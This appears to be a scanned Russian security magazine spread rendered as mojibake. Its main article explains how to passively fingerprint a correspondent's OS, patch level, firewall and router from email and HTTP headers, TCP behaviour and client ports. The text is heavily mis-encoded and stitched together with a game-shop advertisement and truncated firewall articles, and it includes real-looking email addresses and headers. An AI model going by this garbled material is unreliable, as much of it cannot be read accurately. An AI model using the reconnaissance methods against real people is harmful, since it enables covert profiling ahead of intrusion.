áàííåðû (ïðè ðàáîòå ÷åðåç GPRS ýòî
âåñüìà íàêëàäíî). À îò íàñòîÿùèõ
àòàê ëó÷øàÿ çàùèòà - ïîñòîÿííûé
Windows Update, õîòÿ ýòî òîæå íàê-
ëàäíî, â ñðåäíåì ïðèõîäèòñÿ êà÷àòü
äî ïîëñîòíè ìåãàáàéò êàæäûé ìåñÿö,
ïðè÷åì äîêà÷êà íå ïîääåðæèâàåòñÿ.
Íî àëüòåðíàòèâû íåò. 

Äàæå â óìåëûõ ðóêàõ ïåðñîíàëüíûé
áðàíäìàóýð - ïðîñòî êðàñèâàÿ èãðóø-
êà, òðåáóþùàÿ âíèìàíèÿ, çàáîòû è
ïðàâèëüíîé íàñòðîéêè (÷òî-òî âðîäå
òàìàãî÷è). Ïðî êîíôèãóðàöèþ ïî
óìîë÷àíèþ ìîæíî âîîáùå çàáûòü.
Ýòî ðàâíîñèëüíî ïîëíîìó îòñóòñòâèþ
áðàíäìàóýðà, îñîáåííî åñëè ïîëüçî-
âàòåëü íå âïîëíå îò÷åòëèâî ïîíèìàåò
ñìûñë çàäàâàåìûõ åìó âîïðîñîâ è íå
çíàåò, ÷òî îòâå÷àòü :). E
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Ïî-õîðîøåìó,
íè îäèí áðàíä-
ìàóýð íå óñòî-
èò ïåðåä öåëå-
íàïðàâëåííîé
àòàêîé, íî ïî-
ìîæåò â ïîâ-
ñåäíåâíîé
æèçíè.

Âûáîð áðàíä-
ìàóýðà çàâèñèò
îò öåëåé è
èìåþùèõñÿ
êðèòåðèåâ,
åñòü ïî-ñâîåìó
õîðîøèå âàðè-
àíòû.

Òåñòèðîâàíèå ðàçëè÷íûõ áðàíäìàóýðîâ íà ïðîíèêíîâåíèå

Íà ñàéòå www.firewallleaktester.com
ïðèâåäåíû ðåçóëüòàòû ñðàâíèòåëüíîãî
òåñòèðîâàíèÿ äåñÿòêà ïîïóëÿðíåéøèõ

áðàíäìàóýðîâ.



ÇÀÐÀÇÀ

Î áìåíèâàÿñü èíôîðìàöèåé, òû âñåãäà ïåðåäàåøü äàííûå. Îäíàêî íà ðàçíûõ óðîâíÿõ ê òâîèì äàííûì äîáàâëÿåòñÿ
ñëóæåáíàÿ èíôîðìàöèÿ. ×òî ýòî çà ñâåäåíèÿ, ÷òî îíè ìîãóò ñêàçàòü î òåáå è ìîæíî ëè ïðîàíàëèçèðîâàòü èõ?

Ïîñìîòðèì íà íåñêîëüêî ïðîñòûõ ïðèìåðîâ.

ÓÒÅ×ÊÀ ÄÀÍÍÛÕ
×ÅÐÅÇ ÑËÓÆÅÁÍÓÞ ÈÍÔÎÐÌÀÖÈÞ È ÑÅÒÅÂÎÉ
ÏÐÎÒÎÊÎË Â ÊËÈÅÍÒÑÊÎÌ ÏÐÈËÎÆÅÍÈÈ

ÝËÅÊÒÐÎÍÍÀß
ÏÎ×ÒÀ

Íà÷íåì, êîíå÷íî
æå, ñ ýëåêòðîííîé ïî÷-
òû. È ðàññìîòðèì, êà-

êèå äàííûå óòåêàþò ÷åðåç SMTP (RFC
821) è ñëóæåáíóþ èíôîðìàöèþ ïèñü-
ìà (RFC 822). Ïîðîé íå ïîäîçðåâà-
åøü, ÷òî åäèíñòâåííîå ïèñüìî ìîæåò
äàòü ïðîñòî ìîðå èíôîðìàöèè. Ïðî-
âåäåì ýêñïåðèìåíò íà Êðèñå (íè îäèí
ìûùúõ â õîäå ýêñïåðèìåíòà íå ïîñò-
ðàäàë, òàê êàê ïîìîãàë ñîáèðàòü äàí-
íûå àáñîëþòíî äîáðîâîëüíî). Ïîø-
ëåì åãî ïèñüìîì, ïîëó÷èì îòâåò è
âãëÿäèìñÿ â çàãîëîâêè.

ÍÀ×ÍÅÌ Ñ ÊÎÍÖÀ...

X-Mailer: Microsoft Outlook Express 6.00.2800.1437
X-MimeOLE: Produced By Microsoft MimeOLE
V6.00.2800.1441

Èñïîëüçóåòñÿ Microsoft Outlook
Express (ýòî â ïîÿñíåíèè íå íóæäàåò-
ñÿ), êîòîðûé óñòàíîâëåí íà ìàøèíå ñ
Windows 2000 SP4 (îá ýòîì ãîâîðèò
2800 â íîìåðå âåðñèè) ñ ïàò÷àìè îò
èþëÿ 2004 ãîäà. Çíàÿ, ÷òî ïîñëåäíèé
ïàò÷ ê Outlook Express âûõîäèë â èþ-
íå 2005 è âîøåë â íàêîïèòåëüíîå îá-
íîâëåíèå Windows 2000, ìîæíî ïðåä-
ïîëîæèòü, ÷òî êàê ìèíèìóì ñ èþíÿ
2005 ãîäà ìàøèíà íå îáíîâëÿëàñü è
íàêîïèòåëüíîå îáíîâëåíèå íà íåé íå
ñòîèò. ×óòü âûøå èäåò íåñêîëüêî íå
î÷åíü èíôîðìàòèâíûõ çàãîëîâêîâ,
òàê êàê îíè ïîäñòàâëÿþòñÿ ëþáûì
ïî÷òîâûì êëèåíòîì. Îäíàêî è â íèõ
åñòü îïðåäåëåííàÿ èíôîðìàöèÿ - âçà-
èìíîå ðàñïîëîæåíèå çàãîëîâêîâ, êà-
ïèòàëèçàöèÿ ñèìâîëîâ, ñïîñîá ïåðå-
íîñà ñòðîê � êîòîðàÿ ïîìîãëà áû íàì
îïðåäåëèòü ïî÷òîâûé êëèåíò, äàæå
åñëè ïîëÿ X-Mailer è X-MimeOLE êåì-
òî ôèëüòðîâàëèñü áû.

Date: Mon, 11 Jul 2005 21:14:03 +0400

Åñëè ñðàâíèòü äàòó ïèñüìà ñ âðå-
ìåííîé îòìåòêîé ñåðâåðà, òî îáíàðó-
æèòñÿ, ÷òî ÷àñû êîìïüþòåðà ñïåøàò
÷óòü áîëüøå ÷åì íà äâå ìèíóòû. Â

äàííîì ñëó÷àå (Windows 2000) ýòî ãî-
âîðèò î ëåãêîé òâîð÷åñêîé íåáðåæ-
íîñòè âëàäåëüöà :). À âîò â ñëó÷àå ñ
Windows XP, â êîòîðîì ñèíõðîíèçàöèÿ
âðåìåíè âêëþ÷åíà èçíà÷àëüíî, ýòî
ìîãëî áû ïîâåäàòü íàì î òîì, ÷òî äîñ-
òóï â Ñåòü ïðîèñõîäèò ÷åðåç ïðîêñè-
ñåðâåð èëè ñèëüíî îãðàíè÷èâàþùèé
ôàéðâîë. Â ñëó÷àå òî÷íîé ñèíõðîíè-
çàöèè ÷àñîâ íà äîñòàòî÷íî áîëüøîì
ïèñüìå ìû ñìîãëè áû ïðîñ÷èòàòü ïðî-
èçâîäèòåëüíîñòü êàíàëà, ÷åðåç êîòî-
ðîå îòïðàâëÿëîñü ïèñüìî.

References:
<1985289168.20050711205823@SECURITY.NNOV.RU>

Ñîäåðæèò èäåíòèôèêàòîð (Message-
ID) ïèñüìà, íà êîòîðûé èäåò îòâåò. Ýòà
èíôîðìàöèÿ íå èíòåðåñóåò, ïîñêîëü-
êó ýòî îòâåò íà òâîå ïèñüìî, íî ïî òà-

êîìó ôîðìàòó èäåíòèôèêàòîðà ëåãêî
óçíàåòñÿ ïðîãðàììà The Bat!.

From: "Kris Kaspersky" <kpnc@somebox.ru>

Çíàåì, îò êîãî ïîëó÷åí îòâåò. Íàâåð-
íîå. Òàê êàê ýòà èíôîðìàöèÿ â çàãî-
ëîâêå ïèñüìà ëåãêî ïîääåëûâàåòñÿ.
Òðåáóé ýëåêòðîííóþ ïîäïèñü :).

Message-ID: <00a401c5863b$f05f7f70$0100a8c0@kpnc>

Óíèêàëüíûé èäåíòèôèêàòîð ïèñüìà.
Íà ïåðâûé âçãëÿä, ñëó÷àéíûé. Íà âòî-
ðîé � íå î÷åíü. ×åì áîëüøå íåñëó÷àé-
íûõ (à èíîãäà è "ñëó÷àéíûõ") öèôå-
ðîê ó íàñ åñòü, òåì áîëüøå èíôîðìà-
öèè ìû èìååì. 00a401c5863b � äà-
òà/âðåìÿ ñîçäàíèÿ ïèñüìà â "ôàéëî-
âîì" ôîðìàòå. Ñðàâíèâ åå ñ ïîëåì
Date, ìîæíî óçíàòü, íå ÿâëÿåòñÿ ëè
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ÓÒÅ×ÊÀ ÄÀÍÍÛÕ62 ÊËÈÅÍÒ

Received: from [83.239.x.y] (port=41101 helo=kpnc)
by mx2.mail.ru with smtp 
id 1Ds1ou-0002q6-00
for 3APA3A@SECURITY.NNOV.RU; Mon, 11 Jul 2005 21:11:52 +0400

Message-ID: <00a401c5863b$f05f7f70$0100a8c0@kpnc>
From: "Kris Kaspersky" <kpnc@somebox.ru>
To: "3APA3A" <3APA3A@SECURITY.NNOV.RU>
References: <1985289168.20050711205823@SECURITY.NNOV.RU>
Subject: =?koi8-r?B?UmU6IOvMycXO1NPLycUg0NLP1M/Lz8zZ?=
Date: Mon, 11 Jul 2005 21:14:03 +0400
MIME-Version: 1.0
Content-Type: text/plain;

charset="koi8-r"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1437
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441

Ïîðîé íå ïîäîçðåâàåøü, 
÷òî åäèíñòâåííîå ïèñüìî ìîæåò äàòü

ïðîñòî ìîðå èíôîðìàöèè.



äàííîå ïèñüìî ïîïûòêîé "ïîääåëàòü-
ñÿ" ïîä ïî÷òîâóþ ïðîãðàììó. Kpnc �
èìÿ êîìïüþòåðà. Îòñóòñòâèå òî÷åê â
èìåíè ãîâîðèò î òîì, ÷òî êîìïüþòåð
íå ÿâëÿåòñÿ ÷àñòüþ äîìåíà. 0100a8c0 �
IP-àäðåñ êîìïüþòåðà (â little endian),
òî åñòü 192.168.0.1. Ýòîò àäðåñ îïðåäå-
ëåí RFC 1918 äëÿ âíóòðåííåãî èñïîëü-
çîâàíèÿ, òî åñòü êîìïüþòåð âûõîäèò
âî âíåøíþþ ñåòü ÷åðåç NAT èëè
ïðîêñè. À ñëåäîâàòåëüíî, ñ áîëüøîé
äîëåé âåðîÿòíîñòè íå ïî êîììóòèðóå-
ìîìó êàíàëó. Àäðåñ 127.0.0.1 ìîã áû ãî-
âîðèòü î íàëè÷èè ëîêàëüíîãî ïî÷òî-
âîãî øëþçà, êîòîðûé ðàíüøå ëþáèëè
óñòàíàâëèâàòü ðàçëè÷íûå àíòèâèðó-
ñû, íàïðèìåð ñòàðàÿ âåðñèÿ
Symantec. Ñåé÷àñ èõ ïîéìàòü íåñ-
êîëüêî ñëîæíåå, òàê êàê ïî÷òîâûé
òðàôèê ïðîâåðÿåòñÿ ïóòåì ïðèâÿçêè
àíòèâèðóñà ê LSP íåçàìåòíî äëÿ ïî÷-
òîâîãî ïðèëîæåíèÿ. Èëè ëåã÷å, åñëè
äîáðîäóøíûé àíòèâèðóñ î ñåáå ñîîá-
ùàåò.

Received: from [83.239.x.y] (port=41101 helo=kpnc)
by mx2.mail.ru with smtp 
id 1Ds1ou-0002q6-00
for 3APA3A@SECURITY.NNOV.RU; Mon, 11 Jul 2005

21:11:52 +0400

Ñíîâà âèäíî èìÿ êîìïüþòåðà (â
SMTP êîìàíäå HELO, ÷òî ëèøíèé ðàç
ïîäòâåðæäàåò, ÷òî ýòî Outlook
Express). 83.239.x.y � ðåàëüíûé IP-àä-
ðåñ óñòðîéñòâà, âûïîëíÿþùåãî òðàíñ-
ëÿöèþ àäðåñà èëè ïðîáðîñ ïîðòà. Ìî-
æåò íàñòîðîæèòü íîìåð êëèåíòñêîãî
ïîðòà (41101). Îí íåîáû÷íî âûñîêèé.
Åñëè ïîðòû íàçíà÷àþòñÿ ñ 1024 ïî ïî-
ðÿäêó, òî ëèáî ïðîøëî î÷åíü áîëü-
øîå êîëè÷åñòâî ñîåäèíåíèé, ëèáî ìû
èìååì äåëî ñ íå ñîâñåì ñòàíäàðòíûì
ïîâåäåíèåì. ×òîáû âûÿñíèòü ýòî, çà-

òÿíåì ïåðåïèñêó, ïîëó÷èì åùå íåñ-
êîëüêî ïèñåì è ïîñìîòðèì, ÷òî äåëà-
åòñÿ ñ äàííûì ïîëåì âî âðåìåíè:

Âèäíî, ÷òî êëèåíòñêèå ïîðòû ÿâíî
èäóò íå ïîäðÿä, íî â òî æå âðåìÿ èõ
ïîñëåäîâàòåëüíîñòü - íå ñëó÷àéíîñòü,
à íåêàÿ ôóíêöèÿ îò òåêóùåãî âðåìå-
íè ñóòîê (ïîñëå ïåðåõîäà çà 24 ÷àñà
ïðèðàùåíèå ñòàíîâèòñÿ îòðèöàòåëü-
íûì) è, âîçìîæíî, ÷èñëà ñîåäèíå-

íèé. Òàêîå ïîâåäåíèå ïî÷òè 100%
ñâèäåòåëüñòâóåò î òðàíñëÿöèè àäðå-
ñîâ è ïîðòîâ (NAT/PAT) íà êàêîì-íè-
áóäü àïïàðàòíîì ìàðøðóòèçàòîðå
òèïà D-Link. Ïðîòåñòèðîâàâ ðàçëè÷-
íûå ìîäåëè ïîäîáíûõ óñòðîéñòâ,
ìîæíî õîòÿ áû ïðèìåðíî óñòàíîâèòü
ñåìåéñòâî ìàðøðóòèçàòîðà, òàê êàê
äàííàÿ ôóíêöèÿ ÿâëÿåòñÿ âåñüìà
õàðàêòåðíîé. 

Òàêèì îáðàçîì, íå àíàëèçèðóÿ ñî-
äåðæèìîå ñàìîãî ïèñüìà, à ïîëüçóÿñü
òîëüêî "ïðîòîêîëüíûìè" äàííûìè, òû
ìîæåøü óñòàíîâèòü ÎÑ, íàëè÷èå ïîñ-
ëåäíèõ îáíîâëåíèé, èíîãäà íàëè÷èå
áðàíäìàóýðà, ñïîñîá ïîäêëþ÷åíèÿ ê
ñåòè, òîïîëîãèþ ñåòè è îáîðóäîâàíèå
ìàðøðóòèçàòîðà.

ÓÒÅ×ÊÀ ÈÍÔÎÐÌÀÖÈÈ 
ÎÒ HTTP-ÊËÈÅÍÒÀ

È HTTP-êëèåíò òå÷åò.

Ðàññìîòðèì òèïè÷íûé çàãîëîâîê
HTTP-çàïðîñà  (ñì. âðåçêó). Íàõîäèì,
÷òî ó îòïðàâèòåëÿ:

Ñèñòåìà: Windows NT 4.0
Áðàóçåð: Microsoft Internet Explo-

rer 5.5
Äðóãèå óóñòàíîâëåííûå ïïðèëîæåíèÿ:

Microsoft Office (íå Professional-
âåðñèÿ)

Èñïîëüçóåìûé ááðàíäìàóýð:
Microsoft ISA Server

Ðåæèì ááðàíäìàóýðà: HTTP ïðîêñè-
ñåðâåð óêàçàí â íàñòðîéêàõ Internet
Explorer

ßçûê ïïîëüçîâàòåëÿ: àíãëèéñêèé

63

Ïîïûòêè ñêðûòü èíôîðìàöèþ îò
ïîëüçîâàòåëüñêîãî ïðèëîæåíèÿ ïðèâîäÿò
ê äîïîëíèòåëüíîé óòå÷êå äîïîëíèòåëüíîé

èíôîðìàöèè.
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×åì áîëüøå
ñëóæåáíîé èí-
ôîðìàöèè, òåì
îäíîçíà÷íåå
îïðåäåëÿþòñÿ
ïàðàìåòðû èí-
òåðåñóþùåé
òåáÿ èíôîðìà-
öèè.

Ëþáàÿ ïåðåäà-
÷à äàííûõ íå
îáõîäèòñÿ áåç
ñëóæåáíîé èí-
ôîðìàöèè, ïî
êîòîðîé ìîæíî
óçíàòü äîâîëü-
íî ìíîãîå.

Received: from [83.239.x.y] (port=41101 helo=kpnc) �  Mon, 11 Jul 2005 21:11:52 +0400
Received: from [83.239.x.y] (port=18294 helo=kpnc) � Mon, 11 Jul 2005 21:31:46 +0400
Received: from [83.239.x.y] (port=25896 helo=kpnc) � Mon, 11 Jul 2005 23:48:02 +0400
Received: from [83.239.x.y] (port=52180 helo=kpnc) � Tue, 12 Jul 2005 00:21:52 +0400
<ïåðåðûâ>
Received: from [83.239.x.y] (port=37530 helo=kpnc) � Tue, 12 Jul 2005 23:58:15 +0400 
Received: from [83.239.x.y] (port=38040 helo=kpnc) � Tue, 12 Jul 2005 23:58:22 +0400
<Òóò ïîìåíÿëèñü ñóòêè>
Received: from [83.239.x.y] (port=47946 helo=kpnc) � Wed, 13 Jul 2005 00:14:59 +0400
Received: from [83.239.x.y] (port=37167 helo=kpnc) � Wed, 13 Jul 2005 00:27:48 +0400
Received: from [83.239.x.y] (port=34185 helo=kpnc) � Wed, 13 Jul 2005 02:43:57 +0400
<ïåðåðûâ>
Received: from [83.239.x.y] (port=45881 helo=kpnc) � Thu, 14 Jul 2005 16:46:43 +0400
Received: from [83.239.x.y] (port=47538 helo=kpnc) � Thu, 14 Jul 2005 16:46:54 +0400
Received: from [83.239.x.y] (port=51689 helo=kpnc) � Thu, 14 Jul 2005 16:53:45 +0400

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, */*
Accept-Language: en-us
Connection: Keep-Alive
Host: www.security.nnov.ru
Referer: www.security.nnov.ru/search/exploits.asp
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)
Via: 1.0 DOMSRV

HTTP-ÇÀÏÐÎÑ



Ïîïðîáóé ñàì îïðåäåëèòü, îòêóäà è
êàêèå ïàðàìåòðû âçÿëèñü. Äëÿ ðåøå-
íèÿ çàäà÷è ðåêîìåíäóåòñÿ èñïîëüçî-
âàòü Ethereal (www.ethereal.com), ëþáîé
ïðîêñè-ñåðâåð, íàïðèìåð 3proxy
(www.security.nnov.ru/soft/3proxy), è Proxomitron
(www.proxomitron.info) èëè ÷òî-òî ïîõîæåå.

ÑÎÊÐÛÒÈÅ ÈÍÔÎÐÌÀÖÈÈ ÊÀÊ
ÏÓÒÜ ÓÒÅ×ÊÈ ÈÍÔÎÐÌÀÖÈÈ

Êàê ïðàâèëî, ïîïûòêè ñêðûòü èí-
ôîðìàöèþ îò ïîëüçîâàòåëüñêîãî ïðè-
ëîæåíèÿ ïðèâîäÿò ê äîïîëíèòåëüíîé
óòå÷êå äîïîëíèòåëüíîé èíôîðìàöèè.
Íàïðèìåð, Norton Internet Security çà-
ìåíÿåò çàãîëîâîê Referer íà ÷òî-òî òè-
ïà "Weferer: EJGDGVCJVTLBXFG-
GMEP...". Outpost (â çàâèñèìîñòè îò
âåðñèè) íà Field blocked by Outpost
Firewall èëè Field blocked by Outpost.
Ýòî ïîçâîëÿåò îïðåäåëèòü íå òîëüêî
ñðåäñòâî çàùèòû, èñïîëüçóåìîå
ïîëüçîâàòåëåì, íî è åãî âåðñèþ.

Ëþáàÿ ñòðàííîñòü â ïîâåäåíèè êëè-
åíòñêîãî ïðèëîæåíèÿ ìîæåò áûòü èí-
òåðïðåòèðîâàíà, è èç íåå äåëàþòñÿ
âûâîäû. Íóæíî íàéòè ýòó ñòðàííîñòü,
à îíà åñòü ïðè ëþáîé íåñòàíäàðòíîé
êîíôèãóðàöèè. Î÷åíü ÷àñòî äëÿ ñîê-
ðûòèÿ èíôîðìàöèè èñïîëüçóþòñÿ
ñïåöèàëüíûå ïðèëîæåíèÿ, çàìåíÿþ-
ùèå èëè ïðîñòî ôèëüòðóþùèå ñëó-
æåáíûå çàãîëîâêè. Â îáùåì-òî ýòî
ïî÷òè áåñïîëåçíàÿ âåùü: êëèåíòñêîå
ïðèëîæåíèå è äàæå åãî âåðñèþ âñåã-
äà ìîæíî îïðåäåëèòü èìåííî ïî òîìó,
÷òî îòëè÷àåò îäíó âåðñèþ îò äðóãîé. 

Ïîïðîáóåì îïðåäåëèòü ôèëüòðóþ-
ùåå ïðèëîæåíèå. Íàïðèìåð
Proxomitron. Êàçàëîñü áû, òàêîå ïðè-
ëîæåíèå íå äîáàâëÿåò íèêàêèõ ñâîèõ
äàííûõ, à çíà÷èò, èäåíòèôèöèðîâàòü
åãî è, ñîîòâåòñòâåííî, ñêðûòü èëè
ïîäìåíèòü èíôîðìàöèþ íåâîçìîæíî.

Äààíî:
Áðàóçåð: Microsoft Internet Explorer

(ìîæíî âçÿòü è äðóãîé), âîçìîæíî, ñ
íåñòàíäàðòíûìè íàñòðîéêàìè.

Ïðîêñè-ñåðâåð: Proxomitron â àáñî-
ëþòíî ïðîçðà÷íîì ðåæèìå (áåç çàìå-
íû êàêèõ-ëèáî çàãîëîâêîâ çàïðîñà
èëè ñ èõ çàìåíîé).

Íàäî:
Íàïèñàòü web-ñòðàíè÷êó äëÿ îïðå-

äåëåíèÿ íå ïðîñòî íàëè÷èÿ ïðîêñè-
ñåðâåðà (ýòî ÷àñòü çàäàíèÿ 1), à òîãî,
÷òî ïðîêñè-ñåðâåðîì ÿâëÿåòñÿ èìåííî
Proxomitron.

Ìîæíî ëè ðåøèòü ýòî íåðåøàåìîå
çàäàíèå? Îêàçûâàåòñÿ, íå î÷åíü
ñëîæíî, è ñïîñîáîâ äîâîëüíî ìíîãî.
Íàïðèìåð, ïîéìàåì Proxomitron íà êà-

êîé-íèáóäü ãðàíè÷íîé ñèòóàöèè, òàêîé
êàê äëèííûé çàïðîñ. Êàê ïîâåäåò ñåáÿ
"ãîëûé" Internet Explorer èëè IE ñ
ïðîêñîìèòðîíîì íà çàïðîñå òèïà
www.server.domen/[1024x�A�], íàïðè-
ìåð, ïðè ïåðåíàïðàâëåíèè? Îêàçûâà-
åòñÿ, â Internet Explorer òàêîé çàïðîñ
ïðîéäåò áåç êàêèõ-ëèáî ïðîáëåì. Îä-
íàêî â Proxomitron îí áóäåò îáðåçàí
ïî ôèêñèðîâàííîé è äîñòàòî÷íî òè-
ïè÷íîé ïîçèöèè. Ïî çàïðîñó ìû îïðå-
äåëèì íàëè÷èå ïðîêñîìèòðîíà.

ÓÒÅ×ÊÀ ÍÀ ÓÐÎÂÍßÕ,
ÎÒËÈ×ÍÛÕ ÎÒ ÏÐÈÊËÀÄÍÎÃÎ

Ïðèëîæåíèå � íå åäèíñòâåííàÿ
òî÷êà óòå÷êè äàííûõ. Äàííûå ìîãóò
"óáåãàòü" äàæå íà êàíàëüíîì óðîâíå
(êëàññè÷åñêèé "Etherleak" -
www.security.nnov.ru/news2523.html). 

PUSH - ÈÄÅÍÒÈÔÈÊÀÖÈß (ÍÀ
ÓÐÎÂÍÅ TCP)

Î÷åíü ÷àñòî ìîæíî èäåíòèôèöè-
ðîâàòü êëèåíòñêîå ïðèëîæåíèå èëè
ïðîêñè ïî òîìó, êàêèìè êóñêàìè è êàê
äàííûå ïåðåäàþòñÿ â "ïðîâîäà" (ïî
ïàêåòàì è ôëàãàì PUSH â TCP-ïîòî-
êå). Òî, êàê äàííûå áóäóò ïîáèòû íà
ïàêåòû è ãäå áóäóò ðàñïîëàãàòüñÿ
ôëàãè PUSH, çàâèñèò îò êîëè÷åñòâà
îïåðàöèé write/send è îò õàðàêòåðà
çàäåðæåê ïðè èñïîëüçîâàíèè êëèåí-

òñêîãî ïðèëîæåíèÿ äëÿ îòïðàâêè äàí-
íûõ. Ïîñêîëüêó ëîãèêà ðàáîòû ñ äàí-
íûìè ó êàæäîãî ïðèëîæåíèÿ ñâîÿ, òî
è ïîòîê áóäåò äîñòàòî÷íî óíèêàëü-
íûì.

ÏÀÑÑÈÂÍÎÅ ÑÊÀÍÈÐÎÂÀÍÈÅ
ÏÎÐÒÎÂ

Êàê áûëî íàãëÿäíî ïðîäåìîíñòðè-
ðîâàíî, äàæå èíôîðìàöèÿ î òîì, ñ êà-
êîãî ïîðòà êëèåíòà ïðèøåë çàïðîñ,
ìîæåò îêàçàòüñÿ äîâîëüíî èíòåðåñ-

íîé. À ÷òî åñëè òàêèõ çàïðîñîâ ïðèø-
ëî î÷åíü ìíîãî? Òàêîå ìîæåò ñëó-
÷èòüñÿ, åñëè êëèåíò ïîëó÷àåò ñ ñåðâå-
ðà ìíîæåñòâî ôàéëîâ ïî FTP èëè çàã-
ðóæàåò web-ñòðàíè÷êó ñ óéìîé êàðòè-
íîê. Ðàíî èëè ïîçäíî ìû óçíàåì âñå
äèíàìè÷åñêèå ïîðòû, êîòîðûå ìîæåò
èñïîëüçîâàòü êëèåíòñêîå ïðèëîæå-
íèå (ïðàâäà, òîëüêî îò 1024 è âûøå).
Îñòàëüíûå ïîðòû, î÷åâèäíî, îòêðûòû
äðóãèìè ïðèëîæåíèÿìè. Âîò òåáå è
ñêàíèðîâàíèå ïîðòîâ áåç ñêàíèðîâà-
íèÿ ïîðòîâ, ïðè÷åì çà ôàéðâîëîì. 

ÇÀÊËÞ×ÅÍÈÅ
Ïðîöåäóðà ñáîðà èíôîðìàöèè -

äîâîëüíî òðóäîåìêèé ïðîöåññ, ïðè-
÷åì ïðè àêòèâíîì ñáîðå èíôîðìàöèè
òû "çàñâå÷èâàåøü" ñåáÿ è çàÿâëÿåøü
î ñâîèõ íàìåðåíèÿõ. Ïàññèâíûé ñáîð
èíôîðìàöèè è, â ÷àñòíîñòè, ñáîð èí-
ôîðìàöèè îò êëèåíòñêèõ ïðèëîæåíèé
î÷åíü ÷àñòî ïðåäîñòàâëÿåò öåííûå
äàííûå, ïî÷òè íè÷åãî íå òðåáóÿ âçà-
ìåí, êðîìå âíèìàíèÿ è óìåíèÿ àíàëè-
çèðîâàòü. E
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Ïàññèâíûé
ñáîð äàííûõ
óäîáåí òåì,
÷òî íå íóæíî
ñâåòèòüñÿ ñà-
ìîìó.

Ðàçíûå êëèåí-
òñêèå ïðèëî-
æåíèÿ ïî-ðàç-
íîìó ïåðåäàþò
êóñêè äàííûõ
íà óðîâíå TCP.
Çíàÿ ëîãèêó
ïåðåäà÷è ðàç-
íûõ ïðèëîæå-
íèé è èìåÿ îá-
ðàçöîâûé êó-
ñîê, ìîæíî îï-
ðåäåëèòü íàëè-
÷èå êîíêðåòíî-
ãî ïðèëîæåíèÿ.

Íå ïðèëàãàÿ
îñîáûõ óñè-
ëèé, ìîæíî óç-
íàòü, êàêàÿ
îïåðàöèîíêà
óñòàíîâëåíà,
êîãäà áûëî
ïîñëåäíåå îá-
íîâëåíèå, åñòü
ëè áðàíäìàóýð,
ïàðàìåòðû
ïîäêëþ÷åíèÿ
ñåòè è ò.ï.

ÓÒÅ×ÊÀ ÄÀÍÍÛÕ64 ÊËÈÅÍÒ

Ïàññèâíûé ñáîð èíôîðìàöèè î÷åíü ÷àñòî
ïðåäîñòàâëÿåò öåííûå äàííûå, ïî÷òè

íè÷åãî íå òðåáóÿ âçàìåí.

Äàííûå ìîãóò "óáåãàòü" 
äàæå íà êàíàëüíîì óðîâíå



Èãðàé
ïðîñòî!

GamePost 

Ñ ÄÅÐÅÂßÍÍÎÉ ËÎØÀÄÊÎÉ
ÑÒÀËÎ

WarCraft IIII 
Action FFigure: 

Ticondrius $$4422,,9999 

Îãðîìíûé 
âûáîð êêîìïüþ-
òåðíûé èèãð

Èãðû ääëÿ ââñåõ 
òåëåâèçèîííûõ  
ïðèñòàâîê

Êîëëåêöèîííûå
ôèãóðêè èèç 
èãð

* * *

XXbbooxx

$268.99

PPSSPP ((JJAAPP)) 
vvaalluuee ppaacckk   

$289.99

GGaammee BBooyy AAddvvaannccee
SSPP CCoobbaalltt 

$99.99

NNiinntteennddoo DDSS
DDuuaallssccrreeeenn 

$179.99

ÑÊÓ×ÍÎ? 

ÍÅ ÏÎÐÀ ËÈ
ÑÌÅÍÈÒÜ ÈÃÐÓ?

*

PPllaayySSttaattiioonn 22 ((SSlliimm)) RUS

$175.99

GGaammeeCCuubbee

$139.99



nezumi

Ïðåæäå ÷åì âîåâàòü ñ áðàíäìàóýðîì (îí æå firewall), ñòîèò ðàçîáðàòüñÿ, ÷òî ýòî òàêîå è çà÷åì îíî íóæíî. Ïðàêòè-
÷åñêè âñå ëîêàëüíûå áðàíäìàóýðû ïðåäñòàâëÿþò ñîáîé òðèâèàëüíûå ïàêåòíûå ôèëüòðû, ñèäÿùèå íà èíòåðôåéñå 

è ïðîïóñêàþùèå ñåòåâîé òðàôèê ÷åðåç ñåáÿ. Ìåòîäû ôèëüòðàöèè ñàìûå ðàçíîîáðàçíûå, íî äàëåêî íå áåçóïðå÷íûå.

ÊÀÊ ÐÀÁÎÒÀÅÒ
ÁÐÀÍÄÌÀÓÝÐ
ÏÀÊÅÒÍÛÅ ÔÈËÜÒÐÛ È ÏÐÎÊÑÈ

åðâûå ëîêàëüíûå ñåòè
ïîäêëþ÷àëèñü ê èíòåð-
íåòó êèøêàìè íàðóæó,
òî åñòü íàïðÿìóþ. Âñå
óçëû ïîëó÷àëè

äåéñòâèòåëüíûå IP-àäðåñà, âèäèìûå
îòîâñþäó. È åñëè â ëîêàëêå èìåëñÿ
SQL/WEB/FTP-ñåðâåð èëè "ðàñøà-
ðåííûå" ðåñóðñû, ê íèì ìîã ïîäêëþ-
÷àòüñÿ êòî óãîäíî. Ïàðîëè íà äîñòóï,
êàê âîäèòñÿ, îòñóòñòâîâàëè èëè âû-
áèðàëèñü äîâîëüíî ïðåäñêàçóåìûì
îáðàçîì, ÷òî äåëàëî àòàêó òðèâèàëü-
íîé. Âîò òîãäà-òî áðàíäìàóýðû è ïîÿ-
âèëèñü. 

Áðàíäìàóýð ñòîèò ìåæäó èíòåðíå-
òîì è ëîêàëüíîé ñåòüþ, âíóòðü êîòî-
ðîé íèêîãî íå ïóñêàåò, òî åñòü ïîäê-
ëþ÷èòüñÿ ê ðàñøàðåííûì ðåñóðñàì
èëè êîðïîðàòèâíîìó ñåðâåðó ñíàðó-
æè óæå íå ïîëó÷èòñÿ. Åñëè æå ñåð-
âåð äîëæåí áûòü âèäåí èçâíå ëî-
êàëüíîé ñåòè, îí ðàñïîëàãàåòñÿ â
òàê íàçûâàåìîé äåìèëèòàðèçîâàí-
íîé çîíå, èëè, ñîêðàùåííî, DMZ,
ïðè÷åì äîñòóï èç DMZ â ëîêàëüíóþ
ñåòü îáû÷íî çàêðûò. Äàæå åñëè õà-

êåð ïîðàçèò DMZ-ñåðâåð, îí âñå ðàâ-
íî íå ñìîæåò ïðîíèêíóòü â îñòàëü-
íûå êîìïüþòåðû. Åùå áðàíäìàóýð
